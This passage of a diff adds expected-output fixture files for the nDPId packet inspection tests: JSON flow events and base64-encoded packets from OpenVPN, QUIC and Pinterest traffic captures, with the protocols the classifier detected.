+00463{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":120428,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8AAjKQoXqCABFAABO3vRAAEARTTHAqCsMizuXiaIjNXAAOjclKLAsz\/G18BdPvHNP2TIA1KSkwwvoQ+sdnNfUNoUAAAAGV6HBXwEAAAAD93\/C79viP1c="} +00595{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":120658,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"AAjKQoXqmAyC0zx8CABFAACqYKZAADIR2SOLO5eJwKgrDDVwoiMAlmZUIPd\/wu\/b4j9XUieFjG6lxMiNJh0lwTSRtQIYJU8AAAAFV6HBXwAAAAAEESnvtXTC2KmNMf52XQZMT\/ynVaoEa3I9\/AWZx+ZRVMtKTUukC\/HqCjZv+fi\/R5zCagjkN1yj2rlntWK9LJFrUykFCoazdmXISBIDNtA95B\/+ZHNhgqNRrWy2MUDB4ZUseXMEug=="} +00463{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":120878,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8AAjKQoXqCABFAABO3vVAAEARTTDAqCsMizuXiaIjNXAAOuiSKLAsz\/G18BdPwlmoUPvYWrId3hvYNMzVOVb4aOIAAAAHV6HBXwEAAAAE93\/C79viP1c="} +00594{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":219190,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"AAjKQoXqmAyC0zx8CABFAACqYLZAADIR2ROLO5eJwKgrDDVwoiMAlpjJIPd\/wu\/b4j9XC3dhieGw0RzWky5v4Wjy6\/qrTDYAAAAGV6HBXwAAAAAFXs16Z1Oqb5\/NXvcN\/JPmFRsB9Qn433GGYzVrij\/603Hf3x8+jZjnDWISqi+KCm7yOhv+vC+HduaYS8lkNp0MRD+iOTf9JQGGMbbarVk+UP2lQsnNAgMBAAGjIDAeMAkGA1UdEw=="} +00463{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":219463,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8AAjKQoXqCABFAABO3v9AAEARTSbAqCsMizuXiaIjNXAAOpGlKLAsz\/G18BdPwZjddyqbnUWZWrEYkLmgwYzKQXgAAAAIV6HBXwEAAAAF93\/C79viP1c="} +00590{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470218592,"pkt_ts_usec":248791,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"AAjKQoXqmAyC0zx8CABFAACqYLhAADIR2RGLO5eJwKgrDDVwoiMAloyrIPd\/wu\/b4j9XkYG+PPKdRTEE9+qNgRx0WwLTdmQAAAAHV6HBXwAAAAAGBAIwADARBglghkgBhvhCAQEEBAMCBkAwDQYJKoZIhvcNAQELBQADggEBAEjL2n1a+cPIZy3KPNF1msl4ic8D7NZJrAa651IOzRpe23PdDgRUoD05pD38Ly6xZEM0MWrlQHd1WQ=="} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":179,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":83,"flow_first_seen":1470218591746,"flow_last_seen":1470218600860,"flow_tot_l4_data_len":10737,"flow_min_l4_data_len":50,"flow_max_l4_data_len":1180,"flow_avg_l4_data_len":129,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.12","dst_ip":"139.59.151.137","src_port":41507,"dst_port":13680,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":179,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1472334890224,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"139.59.151.137","src_port":13680,"dst_port":13680,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334890,"pkt_ts_usec":224928,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"mAyC0zx8MFLLbJwbCABFAABGe8pAAEARsF3AqCsSizuXiTVwNXAAMg7DOGYO4pqkkLBZfF5v2e87DGOeGNd7GPORrKCUl+wAAAABV8IMKgAAAAAA"} +00449{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":420816,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"mAyC0zx8MFLLbJwbCABFAABGfNNAAEARr1TAqCsSizuXiTVwNXAAMg7DOGYO4pqkkLBZptsOrY2Z8Me\/lrzRmp5vsU3x26QAAAACV8IMKgAAAAAA"} +00464{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":467380,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"MFLLbJwbmAyC0zx8CABFAABSgmRAADERuLeLO5eJwKgrEjVwNXAAPoh1QDWQheTdAi5E5ZNzw1yvtD56Ix7qRbnOSoCURYgAAAABV8IMLQEAAAAAZg7imqSQsFkAAAAA"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":181,"source":"openvpn.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_first_seen":1472334890224,"flow_last_seen":1472334892467,"flow_tot_l4_data_len":162,"flow_min_l4_data_len":50,"flow_max_l4_data_len":62,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"139.59.151.137","src_port":13680,"dst_port":13680,"l4_proto":"udp","ndpi": {"proto":"OpenVPN","breed":"Acceptable","category":"VPN"}} +00461{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":467532,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8MFLLbJwbCABFAABOfN1AAEARr0LAqCsSizuXiTVwNXAAOg7LKGYO4pqkkLBZccsCgHbPMustlcqr4N4\/rNnPtukAAAADV8IMKgEAAAAANZCF5N0CLkQ="} +00802{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":467660,"pkt_caplen":345,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":345,"pkt_l4_len":311,"pkt":"mAyC0zx8MFLLbJwbCABFAAFLfN5AAEARrkTAqCsSizuXiTVwNXABNw\/IIGYO4pqkkLBZmyjlNBaAxD3dZ4KkKKFzUtIqpCkAAAAEV8IMKgAAAAABFgMBAQABAAD8AwPWitxhdgXJqtNghCcqHLNlospc\/gDFPYmAVgJE80nHTgAAgsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAEUARABDAELAMcAtwCnAJcAOwATAEsAIABYAEwAQAA3ADcADAP8BAABRAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEB"} +00460{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":670483,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"MFLLbJwbmAyC0zx8CABFAABOgnVAADERuKqLO5eJwKgrEjVwNXAAOufqKDWQheTdAi5ERcnhMU0OXaVp8mkudfeRDM6N9ckAAAACV8IMLQEAAAAAZg7imqSQsFk="} +00604{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":685619,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"MFLLbJwbmAyC0zx8CABFAAC2godAADERuDCLO5eJwKgrEjVwNXAAoqovIDWQheTdAi5E58YXesu1Rtkag1Jugy5ipV6CWKUAAAADV8IMLQEAAAABZg7imqSQsFkAAAABFgMDAD4CAAA6AwOMdrRPNMGuTPTkFd4pZQ3SA0NWhUdhH9mt3\/kUXYsSDQDAMAAAEv8BAAEAAAsABAMAAQIADwABARYDAwWWCwAFkgAFjwACzTCCAskwggGxoAMCAQICAQEwDQ=="} +00460{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":685730,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8MFLLbJwbCABFAABOfQFAAEARrx7AqCsSizuXiTVwNXAAOg7LKGYO4pqkkLBZGpm40vTvooG9M73jePAJtC0tqIoAAAAFV8IMKgEAAAABNZCF5N0CLkQ="} +00587{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":686240,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"MFLLbJwbmAyC0zx8CABFAACqgohAADERuDuLO5eJwKgrEjVwNXAAli0QIDWQheTdAi5ErrUnNNiayfE7kPhRCAdznoHQefgAAAAEV8IMLQAAAAACBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDDApPcGVuVlBOIENBMB4XDTE2MDcyNzA5MzE1OFoXDTI2MDgwMTA5MzE1OFowGTEXMBUGA1UEAwwOT3BlblZQTiBTZXJ2ZXIwggEiMA=="} +00461{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":686288,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8MFLLbJwbCABFAABOfQJAAEARrx3AqCsSizuXiTVwNXAAOg7LKGYO4pqkkLBZX4HmITAm7HcTcHVTEP+duCwQHb4AAAAGV8IMKgEAAAACNZCF5N0CLkQ="} +00590{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":686761,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"MFLLbJwbmAyC0zx8CABFAACqgolAADERuDqLO5eJwKgrEjVwNXAAlghDIDWQheTdAi5EjPHVQnyFYQhev3dPdNekXizCoecAAAAFV8IMLQAAAAADDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJXS+hGEnAWA1fhvJ6HcpP9aGUCaiB5Xrn0LKMUwbe+iP05Z0kqzLD\/tJGeBLU2b1+gL3GmHVKonTrG\/siAnxhOhEqZbB8Qgw=="} +00461{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":686806,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8MFLLbJwbCABFAABOfQNAAEARrxzAqCsSizuXiTVwNXAAOg7LKGYO4pqkkLBZN7jXdhjlfUnvfu4Q4rFXmiDjRmYAAAAHV8IMKgEAAAADNZCF5N0CLkQ="} +00593{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":690212,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"MFLLbJwbmAyC0zx8CABFAACqgopAADERuDmLO5eJwKgrEjVwNXAAlrYaIDWQheTdAi5EsaMKlfbbtjLx3yiNPYco3f3t8tMAAAAGV8IMLQAAAAAEESnvtXTC2KmNMf52XQZMT\/ynVaoEa3I9\/AWZx+ZRVMtKTUukC\/HqCjZv+fi\/R5zCagjkN1yj2rlntWK9LJFrUykFCoazdmXISBIDNtA95B\/+ZHNhgqNRrWy2MUDB4ZUseXMEug=="} +00461{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":690288,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"mAyC0zx8MFLLbJwbCABFAABOfQRAAEARrxvAqCsSizuXiTVwNXAAOg7LKGYO4pqkkLBZaAa3k0FcKmOJijbq3ehJRczebO8AAAAIV8IMKgEAAAAENZCF5N0CLkQ="} +00591{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"openvpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472334892,"pkt_ts_usec":875376,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"MFLLbJwbmAyC0zx8CABFAACqgqFAADERuCKLO5eJwKgrEjVwNXAAloHZIDWQheTdAi5EGn+8Hpjn1EX+kGpde81XFbgwab0AAAAHV8IMLQAAAAAFXs16Z1Oqb5\/NXvcN\/JPmFRsB9Qn433GGYzVrij\/603Hf3x8+jZjnDWISqi+KCm7yOhv+vC+HduaYS8lkNp0MRD+iOTf9JQGGMbbarVk+UP2lQsnNAgMBAAGjIDAeMAkGA1UdEw=="} diff --git a/test/results/os_detected.pcapng.out b/test/results/os_detected.pcapng.out new file mode 100644 index 000000000..91832d6ec --- /dev/null +++ b/test/results/os_detected.pcapng.out @@ -0,0 +1,3 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"os_detected.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1611427514609,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"8.8.8.8","src_port":39821,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"os_detected.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1611427514,"pkt_ts_usec":609727,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAZdFAAEAR\/ePAqAGACAgICJuNAbsE7AYLxP8AAB0Inw\/JO07eNjIIgxX\/XKNBIUIARMqZ8UiDvq\/ZLsUdz0scSMu9YDA5XC\/EJ\/VWdcKmIJjpSLXMxg05sWM0HmWuizvek0EXnlQzmUN9ovr2\/hk4L4+drmSHxo9NOB+GUfgxVDY8jS5sYut7pzwyS1v0Tzd0E1TyJIWDsBfvZlI4bbIIRlefQgOB0WdUqMEfHzxzcbGs6dNO+9vDaznNJ4dGUWqyjTrP1xrbA5ARI5dTVb4R+7D0v8orWpuNvxjoiVb36LCsfL0SbVo2GhqQoHke+Z\/B2D+0+r7INWQc1iHzAG+HeNlA1LtOtYyHAJVB+P59vqKsfmDTE8RgVpXe1x30lS+4YR7jaekw9qCyZHC0kKXvmsPCqZ\/9qa5gMMsfGTjnOTdcid5WA6CyHhSK2HTQW4GkzXHYPreaFIFRc0y9+aMq1Mfl97S1vnvDvIbG91Np67AM6LV1xuilkclYvUim1l1JoFQCUfe6m3PyP+gIQTFerpfrZHjXHVmed8ZubnloXre0\/Z3B2Oh1fmjBjrSNQGdC4YK\/DVld8Ug+FRG0kxgDMCgRJ2S9dOYEMkKgzq\/BKvgwUYmMidXS+F+tMJvoHQSzv3bhpGgehHuZOqNIC3d6Rty6h0nPb+BYsf5E1IpIcwzMB2CvZbT77jViKMoAt5RtufWUmoQ2qymcAa7AXbvCL5L7qI\/1oplTPNm0Ysi0JSUXXf61rlCNL1vc+XNbLSeTg2Vz2fPTbPH7hg\/8qinCri68WhuYiT\/rvuXkVqGxWKJq5b1oM\/AIky7+yMfObOfk9kQ3thgac0pRO1LAAwjECH\/XdGHuEsxIejknnknLjBpjmS+2c+909N0TGc\/NPsDPdaLmN10HnCVLaT1WmruOxWZDa3gV1s3K4IKU6NwqVeHNSYO5xx5HEC7tZU+y4E74cmfLayIxxbdgkahHRv9ATyXrtMLRAHqK8ZsoIIw0D9NAPBA355APW3UhJ\/Z9ZHxppKcR2\/OPN1KQqoIrhRGT9bUzB7Xkn\/VMWRYSTXTiaAYMcb8dRkENbKtVWSIk9LJFrE8pIXivmB2tWlt1t6y+TR30oU1\/NUX3jGhxE7t44s+NhGXfBpl2YQbF4zUhYeZAUzU9QbWzyGdZYarMNxVUgYeW9stlVHB0y\/otPwbX9mpoJ+Dy1FXdgrsIv1LAkh1\/3bdSFFfKVJUwX6EGqQRQU02j\/r+E7RZ0bE01QtNNSuMRMdJX2zJtopXBwZLz8h67datSO+I1wfoRzj4VUG35Q8hcFywG\/xq04McVVySWGNnMos9RmQkhysf\/lc3FuHHnMMA\/XcGqeB2biYiiwAKDCGuBCGTLrEYhV1yIzE4vEhvJvg325fJl3DNeUSuAwqKe9SjUjQtv+EVpEiYxaR6X90zwFDBlHdBDDCfh3iS1o2jSGLUvocncy0jQz8qak7nPw6oMW\/gU8WvBhkEaY\/b26hw+tYWakl5yNVwxnF\/7PKfJyyyPpmjSH2ycL45nydbEY1t1GYpcV+P7AunIs6enuyUp9NNdtbH\/d0RuYFGsVW1287YLi13LwF56RtlC\/tVGquwfxdqcbniCbYb8LvlGF6r32UjuoiuACdgmkrt6Wf7sAVkRHeYLY5bLkD+o6H+JIwDjoOA\/yI8iOw0QceAwvS35vC2IO56LiInTgA=="} +00810{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"os_detected.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1611427514609,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"8.8.8.8","src_port":39821,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"user_agent":"Mozilla\/5.0 (Windows NT 5.2; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit\/531.21.10 (KHTML, like Gecko)","version":"TLSv1.3","alpn":"h3-29","ja3":"9addef84847d700f759746b237c405c8","tls_supported_versions":"TLSv1.3"}} diff --git a/test/results/pinterest.pcap.out b/test/results/pinterest.pcap.out new file mode 100644 index 000000000..4bc1a8058 --- /dev/null +++ b/test/results/pinterest.pcap.out @@ -0,0 +1,435 @@ +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1605289710318,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33164,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289710,"pkt_ts_usec":318889,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCMmjACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUgYwBu9VDYL21LWgegBAB9TESAAABAQgKz6ojDMK4Yvg="} +00455{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289710,"pkt_ts_usec":576735,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuBjLUtaB7VQ2C+gBALgY8wAAABAQgKwrkTpM+oCrY="} +00512{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1605289712203,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:807::200a","src_port":40876,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289712,"pkt_ts_usec":203025,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAqhwACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBwAAAAAAACAKn6wBu\/7xm0eeabeVgBAB9aoLAAABAQgKp4B90cK4Zak="} +00455{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289712,"pkt_ts_usec":420176,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgHAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbufrJ5pt5X+8ZtIgBAL8Z94AAABAQgKwrka9Kd\/yRw="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1605289713743,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33262,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":743557,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gD\/cFACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUge4Bu\/ur8QUAAAAAoAL9IIXGAAACBAWgBAIICs+qMG0AAAAAAQMDBw=="} +00468{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":761186,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDGd77q\/EGoBJXgJPPAAACBAV4AQMDAwQCCArCuSBXz6owbQ=="} +00455{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":761240,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD\/cFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUge4Bu\/ur8QaawxnfgBAB+xfPAAABAQgKz6owf8K5IFc="} 